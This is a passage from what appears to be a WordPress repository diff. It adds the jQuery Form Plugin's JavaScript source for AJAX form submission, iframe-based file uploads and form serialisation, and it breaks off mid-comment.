cdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",greenyellow:"#adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",limegreen:"#32cd32",linen:"#faf0e6",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",oldlace:"#fdf5e6",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",whitesmoke:"#f5f5f5",yellowgreen:"#9acd32"});
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery.form.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery.form.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery.form.js	(revision 33402)
@@ -0,0 +1,1193 @@
+/*!
+ * jQuery Form Plugin
+ * version: 3.37.0-2013.07.11
+ * @requires jQuery v1.5 or later
+ * Copyright (c) 2013 M. Alsup
+ * Examples and documentation at: http://malsup.com/jquery/form/
+ * Project repository: https://github.com/malsup/form
+ * Dual licensed under the MIT and GPL licenses.
+ * https://github.com/malsup/form#copyright-and-license
+ */
+/*global ActiveXObject */
+;(function($) {
+"use strict";
+
+/*
+    Usage Note:
+    -----------
+    Do not use both ajaxSubmit and ajaxForm on the same form.  These
+    functions are mutually exclusive.  Use ajaxSubmit if you want
+    to bind your own submit handler to the form.  For example,
+
+    $(document).ready(function() {
+        $('#myForm').on('submit', function(e) {
+            e.preventDefault(); // <-- important
+            $(this).ajaxSubmit({
+                target: '#output'
+            });
+        });
+    });
+
+    Use ajaxForm when you want the plugin to manage all the event binding
+    for you.  For example,
+
+    $(document).ready(function() {
+        $('#myForm').ajaxForm({
+            target: '#output'
+        });
+    });
+
+    You can also use ajaxForm with delegation (requires jQuery v1.7+), so the
+    form does not have to exist when you invoke ajaxForm:
+
+    $('#myForm').ajaxForm({
+        delegation: true,
+        target: '#output'
+    });
+
+    When using ajaxForm, the ajaxSubmit function will be invoked for you
+    at the appropriate time.
+*/
+
+/**
+ * Feature detection
+ */
+var feature = {};
+feature.fileapi = $("<input type='file'/>").get(0).files !== undefined;
+feature.formdata = window.FormData !== undefined;
+
+var hasProp = !!$.fn.prop;
+
+// attr2 uses prop when it can but checks the return type for
+// an expected string.  this accounts for the case where a form 
+// contains inputs with names like "action" or "method"; in those
+// cases "prop" returns the element
+$.fn.attr2 = function() {
+    if ( ! hasProp )
+        return this.attr.apply(this, arguments);
+    var val = this.prop.apply(this, arguments);
+    if ( ( val && val.jquery ) || typeof val === 'string' )
+        return val;
+    return this.attr.apply(this, arguments);
+};
+
+/**
+ * ajaxSubmit() provides a mechanism for immediately submitting
+ * an HTML form using AJAX.
+ */
+$.fn.ajaxSubmit = function(options) {
+    /*jshint scripturl:true */
+
+    // fast fail if nothing selected (http://dev.jquery.com/ticket/2752)
+    if (!this.length) {
+        log('ajaxSubmit: skipping submit process - no element selected');
+        return this;
+    }
+
+    var method, action, url, $form = this;
+
+    if (typeof options == 'function') {
+        options = { success: options };
+    }
+    else if ( options === undefined ) {
+        options = {};
+    }
+
+    method = options.type || this.attr2('method');
+    action = options.url  || this.attr2('action');
+
+    url = (typeof action === 'string') ? $.trim(action) : '';
+    url = url || window.location.href || '';
+    if (url) {
+        // clean url (don't include hash vaue)
+        url = (url.match(/^([^#]+)/)||[])[1];
+    }
+
+    options = $.extend(true, {
+        url:  url,
+        success: $.ajaxSettings.success,
+        type: method || 'GET',
+        iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank'
+    }, options);
+
+    // hook for manipulating the form data before it is extracted;
+    // convenient for use with rich editors like tinyMCE or FCKEditor
+    var veto = {};
+    this.trigger('form-pre-serialize', [this, options, veto]);
+    if (veto.veto) {
+        log('ajaxSubmit: submit vetoed via form-pre-serialize trigger');
+        return this;
+    }
+
+    // provide opportunity to alter form data before it is serialized
+    if (options.beforeSerialize && options.beforeSerialize(this, options) === false) {
+        log('ajaxSubmit: submit aborted via beforeSerialize callback');
+        return this;
+    }
+
+    var traditional = options.traditional;
+    if ( traditional === undefined ) {
+        traditional = $.ajaxSettings.traditional;
+    }
+
+    var elements = [];
+    var qx, a = this.formToArray(options.semantic, elements);
+    if (options.data) {
+        options.extraData = options.data;
+        qx = $.param(options.data, traditional);
+    }
+
+    // give pre-submit callback an opportunity to abort the submit
+    if (options.beforeSubmit && options.beforeSubmit(a, this, options) === false) {
+        log('ajaxSubmit: submit aborted via beforeSubmit callback');
+        return this;
+    }
+
+    // fire vetoable 'validate' event
+    this.trigger('form-submit-validate', [a, this, options, veto]);
+    if (veto.veto) {
+        log('ajaxSubmit: submit vetoed via form-submit-validate trigger');
+        return this;
+    }
+
+    var q = $.param(a, traditional);
+    if (qx) {
+        q = ( q ? (q + '&' + qx) : qx );
+    }
+    if (options.type.toUpperCase() == 'GET') {
+        options.url += (options.url.indexOf('?') >= 0 ? '&' : '?') + q;
+        options.data = null;  // data is null for 'get'
+    }
+    else {
+        options.data = q; // data is the query string for 'post'
+    }
+
+    var callbacks = [];
+    if (options.resetForm) {
+        callbacks.push(function() { $form.resetForm(); });
+    }
+    if (options.clearForm) {
+        callbacks.push(function() { $form.clearForm(options.includeHidden); });
+    }
+
+    // perform a load on the target only if dataType is not provided
+    if (!options.dataType && options.target) {
+        var oldSuccess = options.success || function(){};
+        callbacks.push(function(data) {
+            var fn = options.replaceTarget ? 'replaceWith' : 'html';
+            $(options.target)[fn](data).each(oldSuccess, arguments);
+        });
+    }
+    else if (options.success) {
+        callbacks.push(options.success);
+    }
+
+    options.success = function(data, status, xhr) { // jQuery 1.4+ passes xhr as 3rd arg
+        var context = options.context || this ;    // jQuery 1.4+ supports scope context
+        for (var i=0, max=callbacks.length; i < max; i++) {
+            callbacks[i].apply(context, [data, status, xhr || $form, $form]);
+        }
+    };
+
+    if (options.error) {
+        var oldError = options.error;
+        options.error = function(xhr, status, error) {
+            var context = options.context || this;
+            oldError.apply(context, [xhr, status, error, $form]);
+        };
+    }
+
+     if (options.complete) {
+        var oldComplete = options.complete;
+        options.complete = function(xhr, status) {
+            var context = options.context || this;
+            oldComplete.apply(context, [xhr, status, $form]);
+        };
+    }
+
+    // are there files to upload?
+
+    // [value] (issue #113), also see comment:
+    // https://github.com/malsup/form/commit/588306aedba1de01388032d5f42a60159eea9228#commitcomment-2180219
+    var fileInputs = $('input[type=file]:enabled[value!=""]', this);
+
+    var hasFileInputs = fileInputs.length > 0;
+    var mp = 'multipart/form-data';
+    var multipart = ($form.attr('enctype') == mp || $form.attr('encoding') == mp);
+
+    var fileAPI = feature.fileapi && feature.formdata;
+    log("fileAPI :" + fileAPI);
+    var shouldUseFrame = (hasFileInputs || multipart) && !fileAPI;
+
+    var jqxhr;
+
+    // options.iframe allows user to force iframe mode
+    // 06-NOV-09: now defaulting to iframe mode if file input is detected
+    if (options.iframe !== false && (options.iframe || shouldUseFrame)) {
+        // hack to fix Safari hang (thanks to Tim Molendijk for this)
+        // see:  http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d
+        if (options.closeKeepAlive) {
+            $.get(options.closeKeepAlive, function() {
+                jqxhr = fileUploadIframe(a);
+            });
+        }
+        else {
+            jqxhr = fileUploadIframe(a);
+        }
+    }
+    else if ((hasFileInputs || multipart) && fileAPI) {
+        jqxhr = fileUploadXhr(a);
+    }
+    else {
+        jqxhr = $.ajax(options);
+    }
+
+    $form.removeData('jqxhr').data('jqxhr', jqxhr);
+
+    // clear element array
+    for (var k=0; k < elements.length; k++)
+        elements[k] = null;
+
+    // fire 'notify' event
+    this.trigger('form-submit-notify', [this, options]);
+    return this;
+
+    // utility fn for deep serialization
+    function deepSerialize(extraData){
+        var serialized = $.param(extraData, options.traditional).split('&');
+        var len = serialized.length;
+        var result = [];
+        var i, part;
+        for (i=0; i < len; i++) {
+            // #252; undo param space replacement
+            serialized[i] = serialized[i].replace(/\+/g,' ');
+            part = serialized[i].split('=');
+            // #278; use array instead of object storage, favoring array serializations
+            result.push([decodeURIComponent(part[0]), decodeURIComponent(part[1])]);
+        }
+        return result;
+    }
+
+     // XMLHttpRequest Level 2 file uploads (big hat tip to francois2metz)
+    function fileUploadXhr(a) {
+        var formdata = new FormData();
+
+        for (var i=0; i < a.length; i++) {
+            formdata.append(a[i].name, a[i].value);
+        }
+
+        if (options.extraData) {
+            var serializedData = deepSerialize(options.extraData);
+            for (i=0; i < serializedData.length; i++)
+                if (serializedData[i])
+                    formdata.append(serializedData[i][0], serializedData[i][1]);
+        }
+
+        options.data = null;
+
+        var s = $.extend(true, {}, $.ajaxSettings, options, {
+            contentType: false,
+            processData: false,
+            cache: false,
+            type: method || 'POST'
+        });
+
+        if (options.uploadProgress) {
+            // workaround because jqXHR does not expose upload property
+            s.xhr = function() {
+                var xhr = $.ajaxSettings.xhr();
+                if (xhr.upload) {
+                    xhr.upload.addEventListener('progress', function(event) {
+                        var percent = 0;
+                        var position = event.loaded || event.position; /*event.position is deprecated*/
+                        var total = event.total;
+                        if (event.lengthComputable) {
+                            percent = Math.ceil(position / total * 100);
+                        }
+                        options.uploadProgress(event, position, total, percent);
+                    }, false);
+                }
+                return xhr;
+            };
+        }
+
+        s.data = null;
+            var beforeSend = s.beforeSend;
+            s.beforeSend = function(xhr, o) {
+                o.data = formdata;
+                if(beforeSend)
+                    beforeSend.call(this, xhr, o);
+        };
+        return $.ajax(s);
+    }
+
+    // private function for handling file uploads (hat tip to YAHOO!)
+    function fileUploadIframe(a) {
+        var form = $form[0], el, i, s, g, id, $io, io, xhr, sub, n, timedOut, timeoutHandle;
+        var deferred = $.Deferred();
+
+        if (a) {
+            // ensure that every serialized input is still enabled
+            for (i=0; i < elements.length; i++) {
+                el = $(elements[i]);
+                if ( hasProp )
+                    el.prop('disabled', false);
+                else
+                    el.removeAttr('disabled');
+            }
+        }
+
+        s = $.extend(true, {}, $.ajaxSettings, options);
+        s.context = s.context || s;
+        id = 'jqFormIO' + (new Date().getTime());
+        if (s.iframeTarget) {
+            $io = $(s.iframeTarget);
+            n = $io.attr2('name');
+            if (!n)
+                 $io.attr2('name', id);
+            else
+                id = n;
+        }
+        else {
+            $io = $('<iframe name="' + id + '" src="'+ s.iframeSrc +'" />');
+            $io.css({ position: 'absolute', top: '-1000px', left: '-1000px' });
+        }
+        io = $io[0];
+
+
+        xhr = { // mock object
+            aborted: 0,
+            responseText: null,
+            responseXML: null,
+            status: 0,
+            statusText: 'n/a',
+            getAllResponseHeaders: function() {},
+            getResponseHeader: function() {},
+            setRequestHeader: function() {},
+            abort: function(status) {
+                var e = (status === 'timeout' ? 'timeout' : 'aborted');
+                log('aborting upload... ' + e);
+                this.aborted = 1;
+
+                try { // #214, #257
+                    if (io.contentWindow.document.execCommand) {
+                        io.contentWindow.document.execCommand('Stop');
+                    }
+                }
+                catch(ignore) {}
+
+                $io.attr('src', s.iframeSrc); // abort op in progress
+                xhr.error = e;
+                if (s.error)
+                    s.error.call(s.context, xhr, e, status);
+                if (g)
+                    $.event.trigger("ajaxError", [xhr, s, e]);
+                if (s.complete)
+                    s.complete.call(s.context, xhr, e);
+            }
+        };
+
+        g = s.global;
+        // trigger ajax global events so that activity/block indicators work like normal
+        if (g && 0 === $.active++) {
+            $.event.trigger("ajaxStart");
+        }
+        if (g) {
+            $.event.trigger("ajaxSend", [xhr, s]);
+        }
+
+        if (s.beforeSend && s.beforeSend.call(s.context, xhr, s) === false) {
+            if (s.global) {
+                $.active--;
+            }
+            deferred.reject();
+            return deferred;
+        }
+        if (xhr.aborted) {
+            deferred.reject();
+            return deferred;
+        }
+
+        // add submitting element to data if we know it
+        sub = form.clk;
+        if (sub) {
+            n = sub.name;
+            if (n && !sub.disabled) {
+                s.extraData = s.extraData || {};
+                s.extraData[n] = sub.value;
+                if (sub.type == "image") {
+                    s.extraData[n+'.x'] = form.clk_x;
+                    s.extraData[n+'.y'] = form.clk_y;
+                }
+            }
+        }
+
+        var CLIENT_TIMEOUT_ABORT = 1;
+        var SERVER_ABORT = 2;
+                
+        function getDoc(frame) {
+            /* it looks like contentWindow or contentDocument do not
+             * carry the protocol property in ie8, when running under ssl
+             * frame.document is the only valid response document, since
+             * the protocol is know but not on the other two objects. strange?
+             * "Same origin policy" http://en.wikipedia.org/wiki/Same_origin_policy
+             */
+            
+            var doc = null;
+            
+            // IE8 cascading access check
+            try {
+                if (frame.contentWindow) {
+                    doc = frame.contentWindow.document;
+                }
+            } catch(err) {
+                // IE8 access denied under ssl & missing protocol
+                log('cannot get iframe.contentWindow document: ' + err);
+            }
+
+            if (doc) { // successful getting content
+                return doc;
+            }
+
+            try { // simply checking may throw in ie8 under ssl or mismatched protocol
+                doc = frame.contentDocument ? frame.contentDocument : frame.document;
+            } catch(err) {
+                // last attempt
+                log('cannot get iframe.contentDocument: ' + err);
+                doc = frame.document;
+            }
+            return doc;
+        }
+
+        // Rails CSRF hack (thanks to Yvan Barthelemy)
+        var csrf_token = $('meta[name=csrf-token]').attr('content');
+        var csrf_param = $('meta[name=csrf-param]').attr('content');
+        if (csrf_param && csrf_token) {
+            s.extraData = s.extraData || {};
+            s.extraData[csrf_param] = csrf_token;
+        }
+
+        // take a breath so that pending repaints get some cpu time before the upload starts
+        function doSubmit() {
+            // make sure form attrs are set
+            var t = $form.attr2('target'), a = $form.attr2('action');
+
+            // update form attrs in IE friendly way
+            form.setAttribute('target',id);
+            if (!method) {
+                form.setAttribute('method', 'POST');
+            }
+            if (a != s.url) {
+                form.setAttribute('action', s.url);
+            }
+
+            // ie borks in some cases when setting encoding
+            if (! s.skipEncodingOverride && (!method || /post/i.test(method))) {
+                $form.attr({
+                    encoding: 'multipart/form-data',
+                    enctype:  'multipart/form-data'
+                });
+            }
+
+            // support timout
+            if (s.timeout) {
+                timeoutHandle = setTimeout(function() { timedOut = true; cb(CLIENT_TIMEOUT_ABORT); }, s.timeout);
+            }
+
+            // look for server aborts
+            function checkState() {
+                try {
+                    var state = getDoc(io).readyState;
+                    log('state = ' + state);
+                    if (state && state.toLowerCase() == 'uninitialized')
+                        setTimeout(checkState,50);
+                }
+                catch(e) {
+                    log('Server abort: ' , e, ' (', e.name, ')');
+                    cb(SERVER_ABORT);
+                    if (timeoutHandle)
+                        clearTimeout(timeoutHandle);
+                    timeoutHandle = undefined;
+                }
+            }
+
+            // add "extra" data to form if provided in options
+            var extraInputs = [];
+            try {
+                if (s.extraData) {
+                    for (var n in s.extraData) {
+                        if (s.extraData.hasOwnProperty(n)) {
+                           // if using the $.param format that allows for multiple values with the same name
+                           if($.isPlainObject(s.extraData[n]) && s.extraData[n].hasOwnProperty('name') && s.extraData[n].hasOwnProperty('value')) {
+                               extraInputs.push(
+                               $('<input type="hidden" name="'+s.extraData[n].name+'">').val(s.extraData[n].value)
+                                   .appendTo(form)[0]);
+                           } else {
+                               extraInputs.push(
+                               $('<input type="hidden" name="'+n+'">').val(s.extraData[n])
+                                   .appendTo(form)[0]);
+                           }
+                        }
+                    }
+                }
+
+                if (!s.iframeTarget) {
+                    // add iframe to doc and submit the form
+                    $io.appendTo('body');
+                    if (io.attachEvent)
+                        io.attachEvent('onload', cb);
+                    else
+                        io.addEventListener('load', cb, false);
+                }
+                setTimeout(checkState,15);
+
+                try {
+                    form.submit();
+                } catch(err) {
+                    // just in case form has element with name/id of 'submit'
+                    var submitFn = document.createElement('form').submit;
+                    submitFn.apply(form);
+                }
+            }
+            finally {
+                // reset attrs and remove "extra" input elements
+                form.setAttribute('action',a);
+                if(t) {
+                    form.setAttribute('target', t);
+                } else {
+                    $form.removeAttr('target');
+                }
+                $(extraInputs).remove();
+            }
+        }
+
+        if (s.forceSync) {
+            doSubmit();
+        }
+        else {
+            setTimeout(doSubmit, 10); // this lets dom updates render
+        }
+
+        var data, doc, domCheckCount = 50, callbackProcessed;
+
+        function cb(e) {
+            if (xhr.aborted || callbackProcessed) {
+                return;
+            }
+            
+            doc = getDoc(io);
+            if(!doc) {
+                log('cannot access response document');
+                e = SERVER_ABORT;
+            }
+            if (e === CLIENT_TIMEOUT_ABORT && xhr) {
+                xhr.abort('timeout');
+                deferred.reject(xhr, 'timeout');
+                return;
+            }
+            else if (e == SERVER_ABORT && xhr) {
+                xhr.abort('server abort');
+                deferred.reject(xhr, 'error', 'server abort');
+                return;
+            }
+
+            if (!doc || doc.location.href == s.iframeSrc) {
+                // response not received yet
+                if (!timedOut)
+                    return;
+            }
+            if (io.detachEvent)
+                io.detachEvent('onload', cb);
+            else
+                io.removeEventListener('load', cb, false);
+
+            var status = 'success', errMsg;
+            try {
+                if (timedOut) {
+                    throw 'timeout';
+                }
+
+                var isXml = s.dataType == 'xml' || doc.XMLDocument || $.isXMLDoc(doc);
+                log('isXml='+isXml);
+                if (!isXml && window.opera && (doc.body === null || !doc.body.innerHTML)) {
+                    if (--domCheckCount) {
+                        // in some browsers (Opera) the iframe DOM is not always traversable when
+                        // the onload callback fires, so we loop a bit to accommodate
+                        log('requeing onLoad callback, DOM not available');
+                        setTimeout(cb, 250);
+                        return;
+                    }
+                    // let this fall through because server response could be an empty document
+                    //log('Could not access iframe DOM after mutiple tries.');
+                    //throw 'DOMException: not available';
+                }
+
+                //log('response detected');
+                var docRoot = doc.body ? doc.body : doc.documentElement;
+                xhr.responseText = docRoot ? docRoot.innerHTML : null;
+                xhr.responseXML = doc.XMLDocument ? doc.XMLDocument : doc;
+                if (isXml)
+                    s.dataType = 'xml';
+                xhr.getResponseHeader = function(header){
+                    var headers = {'content-type': s.dataType};
+                    return headers[header];
+                };
+                // support for XHR 'status' & 'statusText' emulation :
+                if (docRoot) {
+                    xhr.status = Number( docRoot.getAttribute('status') ) || xhr.status;
+                    xhr.statusText = docRoot.getAttribute('statusText') || xhr.statusText;
+                }
+
+                var dt = (s.dataType || '').toLowerCase();
+                var scr = /(json|script|text)/.test(dt);
+                if (scr || s.textarea) {
+                    // see if user embedded response in textarea
+                    var ta = doc.getElementsByTagName('textarea')[0];
+                    if (ta) {
+                        xhr.responseText = ta.value;
+                        // support for XHR 'status' & 'statusText' emulation :
+                        xhr.status = Number( ta.getAttribute('status') ) || xhr.status;
+                        xhr.statusText = ta.getAttribute('statusText') || xhr.statusText;
+                    }
+                    else if (scr) {
+                        // account for browsers injecting pre around json response
+                        var pre = doc.getElementsByTagName('pre')[0];
+                        var b = doc.getElementsByTagName('body')[0];
+                        if (pre) {
+                            xhr.responseText = pre.textContent ? pre.textContent : pre.innerText;
+                        }
+                        else if (b) {
+                            xhr.responseText = b.textContent ? b.textContent : b.innerText;
+                        }
+                    }
+                }
+                else if (dt == 'xml' && !xhr.responseXML && xhr.responseText) {
+                    xhr.responseXML = toXml(xhr.responseText);
+                }
+
+                try {
+                    data = httpData(xhr, dt, s);
+                }
+                catch (err) {
+                    status = 'parsererror';
+                    xhr.error = errMsg = (err || status);
+                }
+            }
+            catch (err) {
+                log('error caught: ',err);
+                status = 'error';
+                xhr.error = errMsg = (err || status);
+            }
+
+            if (xhr.aborted) {
+                log('upload aborted');
+                status = null;
+            }
+
+            if (xhr.status) { // we've set xhr.status
+                status = (xhr.status >= 200 && xhr.status < 300 || xhr.status === 304) ? 'success' : 'error';
+            }
+
+            // ordering of these callbacks/triggers is odd, but that's how $.ajax does it
+            if (status === 'success') {
+                if (s.success)
+                    s.success.call(s.context, data, 'success', xhr);
+                deferred.resolve(xhr.responseText, 'success', xhr);
+                if (g)
+                    $.event.trigger("ajaxSuccess", [xhr, s]);
+            }
+            else if (status) {
+                if (errMsg === undefined)
+                    errMsg = xhr.statusText;
+                if (s.error)
+                    s.error.call(s.context, xhr, status, errMsg);
+                deferred.reject(xhr, 'error', errMsg);
+                if (g)
+                    $.event.trigger("ajaxError", [xhr, s, errMsg]);
+            }
+
+            if (g)
+                $.event.trigger("ajaxComplete", [xhr, s]);
+
+            if (g && ! --$.active) {
+                $.event.trigger("ajaxStop");
+            }
+
+            if (s.complete)
+                s.complete.call(s.context, xhr, status);
+
+            callbackProcessed = true;
+            if (s.timeout)
+                clearTimeout(timeoutHandle);
+
+            // clean up
+            setTimeout(function() {
+                if (!s.iframeTarget)
+                    $io.remove();
+                xhr.responseXML = null;
+            }, 100);
+        }
+
+        var toXml = $.parseXML || function(s, doc) { // use parseXML if available (jQuery 1.5+)
+            if (window.ActiveXObject) {
+                doc = new ActiveXObject('Microsoft.XMLDOM');
+                doc.async = 'false';
+                doc.loadXML(s);
+            }
+            else {
+                doc = (new DOMParser()).parseFromString(s, 'text/xml');
+            }
+            return (doc && doc.documentElement && doc.documentElement.nodeName != 'parsererror') ? doc : null;
+        };
+        var parseJSON = $.parseJSON || function(s) {
+            /*jslint evil:true */
+            return window['eval']('(' + s + ')');
+        };
+
+        var httpData = function( xhr, type, s ) { // mostly lifted from jq1.4.4
+
+            var ct = xhr.getResponseHeader('content-type') || '',
+                xml = type === 'xml' || !type && ct.indexOf('xml') >= 0,
+                data = xml ? xhr.responseXML : xhr.responseText;
+
+            if (xml && data.documentElement.nodeName === 'parsererror') {
+                if ($.error)
+                    $.error('parsererror');
+            }
+            if (s && s.dataFilter) {
+                data = s.dataFilter(data, type);
+            }
+            if (typeof data === 'string') {
+                if (type === 'json' || !type && ct.indexOf('json') >= 0) {
+                    data = parseJSON(data);
+                } else if (type === "script" || !type && ct.indexOf("javascript") >= 0) {
+                    $.globalEval(data);
+                }
+            }
+            return data;
+        };
+
+        return deferred;
+    }
+};
+
+/**
+ * ajaxForm() provides a mechanism for fully automating form submission.
+ *
+ * The advantages of using this method instead of ajaxSubmit() are:
+ *
+ * 1: This method will include coordinates for <input type="image" /> elements (if the element
+ *    is used to submit the form).
+ * 2. This method will include the submit element's name/value data (for the element that was
+ *    used to submit the form).
+ * 3. This method binds the submit() method to the form for you.
+ *
+ * The options argument for ajaxForm works exactly as it does for ajaxSubmit.  ajaxForm merely
+ * passes the options argument along after properly binding events for submit elements and
+ * the form itself.
+ */
+$.fn.ajaxForm = function(options) {
+    options = options || {};
+    options.delegation = options.delegation && $.isFunction($.fn.on);
+
+    // in jQuery 1.3+ we can fix mistakes with the ready state
+    if (!options.delegation && this.length === 0) {
+        var o = { s: this.selector, c: this.context };
+        if (!$.isReady && o.s) {
+            log('DOM not ready, queuing ajaxForm');
+            $(function() {
+                $(o.s,o.c).ajaxForm(options);
+            });
+            return this;
+        }
+        // is your DOM ready?  http://docs.jquery.com/Tutorials:Introducing_$(document).ready()
+        log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)'));
+        return this;
+    }
+
+    if ( options.delegation ) {
+        $(document)
+            .off('submit.form-plugin', this.selector, doAjaxSubmit)
+            .off('click.form-plugin', this.selector, captureSubmittingElement)
+            .on('submit.form-plugin', this.selector, options, doAjaxSubmit)
+            .on('click.form-plugin', this.selector, options, captureSubmittingElement);
+        return this;
+    }
+
+    return this.ajaxFormUnbind()
+        .bind('submit.form-plugin', options, doAjaxSubmit)
+        .bind('click.form-plugin', options, captureSubmittingElement);
+};
+
+// private event handlers
+function doAjaxSubmit(e) {
+    /*jshint validthis:true */
+    var options = e.data;
+    if (!e.isDefaultPrevented()) { // if event has been canceled, don't proceed
+        e.preventDefault();
+        $(this).ajaxSubmit(options);
+    }
+}
+
+function captureSubmittingElement(e) {
+    /*jshint validthis:true */
+    var target = e.target;
+    var $el = $(target);
+    if (!($el.is("[type=submit],[type=image]"))) {
+        // is this a child element of the submit el?  (ex: a span within a button)
+        var t = $el.closest('[type=submit]');
+        if (t.length === 0) {
+            return;
+        }
+        target = t[0];
+    }
+    var form = this;
+    form.clk = target;
+    if (target.type == 'image') {
+        if (e.offsetX !== undefined) {
+            form.clk_x = e.offsetX;
+            form.clk_y = e.offsetY;
+        } else if (typeof $.fn.offset == 'function') {
+            var offset = $el.offset();
+            form.clk_x = e.pageX - offset.left;
+            form.clk_y = e.pageY - offset.top;
+        } else {
+            form.clk_x = e.pageX - target.offsetLeft;
+            form.clk_y = e.pageY - target.offsetTop;
+        }
+    }
+    // clear form vars
+    setTimeout(function() { form.clk = form.clk_x = form.clk_y = null; }, 100);
+}
+
+
+// ajaxFormUnbind unbinds the event handlers that were bound by ajaxForm
+$.fn.ajaxFormUnbind = function() {
+    return this.unbind('submit.form-plugin click.form-plugin');
+};
+
+/**
+ * formToArray() gathers form element data into an array of objects that can
+ * be passed to any of the following ajax functions: $.get, $.post, or load.
+ * Each object in the array has both a 'name' and 'value' property.  An example of
+ * an array for a simple login form might be:
+ *
+ * [ { name: 'username', value: 'jresig' }, { name: 'password', value: 'secret' } ]
+ *
+ * It is this array that is passed to pre-submit callback functions provided to the
+ * ajaxSubmit() and ajaxForm() methods.
+ */
+$.fn.formToArray = function(semantic, elements) {
+    var a = [];
+    if (this.length === 0) {
+        return a;
+    }
+
+    var form = this[0];
+    var els = semantic ? form.getElementsByTagName('*') : form.elements;
+    if (!els) {
+        return a;
+    }
+
+    var i,j,n,v,el,max,jmax;
+    for(i=0, max=els.length; i < max; i++) {
+        el = els[i];
+        n = el.name;
+        if (!n || el.disabled) {
+            continue;
+        }
+
+        if (semantic && form.clk && el.type == "image") {
+            // handle image inputs on the fly when semantic == true
+            if(form.clk == el) {
+                a.push({name: n, value: $(el).val(), type: el.type });
+                a.push({name: n+'.x', value: form.clk_x}, {name: n+'.y', value: form.clk_y});
+            }
+            continue;
+        }
+
+        v = $.fieldValue(el, true);
+        if (v && v.constructor == Array) {
+            if (elements)
+                elements.push(el);
+            for(j=0, jmax=v.length; j < jmax; j++) {
+                a.push({name: n, value: v[j]});
+            }
+        }
+        else if (feature.fileapi && el.type == 'file') {
+            if (elements)
+                elements.push(el);
+            var files = el.files;
+            if (files.length) {
+                for (j=0; j < files.length; j++) {
+                    a.push({name: n, value: files[j], type: el.type});
+                }
+            }
+            else {
+                // #180
+                a.push({ name: n, value: '', type: el.type });
+            }
+        }
+        else if (v !== null && typeof v != 'undefined') {
+            if (elements)
+                elements.push(el);
+            a.push({name: n, value: v, type: el.type, required: el.required});
+        }
+    }
+
+    if (!semantic && form.clk) {
+        // input type=='image' are not found in elements array! handle it here
+        var $input = $(form.clk), input = $input[0];
+        n = input.name;
+        if (n && !input.disabled && input.type == 'image') {
+            a.push({name: n, value: $input.val()});
+            a.push({name: n+'.x', value: form.clk_x}, {name: n+'.y', value: form.clk_y});
+        }
+    }
+    return a;
+};
+
+/**
+ * Serializes form data into a 'submittable' string. This method will return a string
+ * in the format: name1=value1&amp;name2=value2
+ */
+$.fn.formSerialize = function(semantic) {
+    //hand off to jQuery.param for proper encoding
+    return $.param(this.formToArray(semantic));
+};
+
+/**
+ * Serializes all field elements in the jQuery object into a query string.
+ * This method will return a string in the format: name1=value1&amp;name2=value2
+ */
+$.fn.fieldSerialize = function(successful) {
+    var a = [];
+    this.each(function() {
+        var n = this.name;
+        if (!n) {
+            return;
+        }
+        var v = $.fieldValue(this, successful);
+        if (v && v.constructor == Array) {
+            for (var i=0,max=v.length; i < max; i++) {
+                a.push({name: n, value: v[i]});
+            }
+        }
+        else if (v !== null && typeof v != 'undefined') {
+            a.push({name: this.name, value: v});
+        }
+    });
+    //hand off to jQuery.param for proper encoding
+    return $.param(a);
+};
+
+/**
+ * Returns the value(s) of the element in the matched set.  For example, consider the following form:
+ *
+ *  <form><fieldset>
+ *      <input name="A" type="text" />
+ *      <input name="A" type="text" />
+ *      <input name="B" type="checkbox" value="B1" />
+ *      <input name="B" type="checkbox" value="B2"/>
+ *      <input name="C" type="radio" value="C1" />
+ *      <input name="C" type="radio" value="C2" />
+ *  </fieldset></form>
+ *
+ *  var v = $('input[type=text]').fieldValue();
+ *  // if no values are entered into the text inputs
+ *  v == ['','']
+ *  // if values entered into the text inputs are 'foo' and 'bar'
+ *  v == ['foo','bar']
+ *
+ *  var v = $('input[type=checkbox]').fieldValue();
+ *  // if neither checkbox is checked
+ *  v === undefined
+ *  // if both checkboxes are checked
+ *  v == ['B1', 'B2']
+ *
+ *  var v = $('input[type=radio]').fieldValue();
+ *  // if neither radio is checked
+ *  v === undefined
+ *  // if first radio is checked
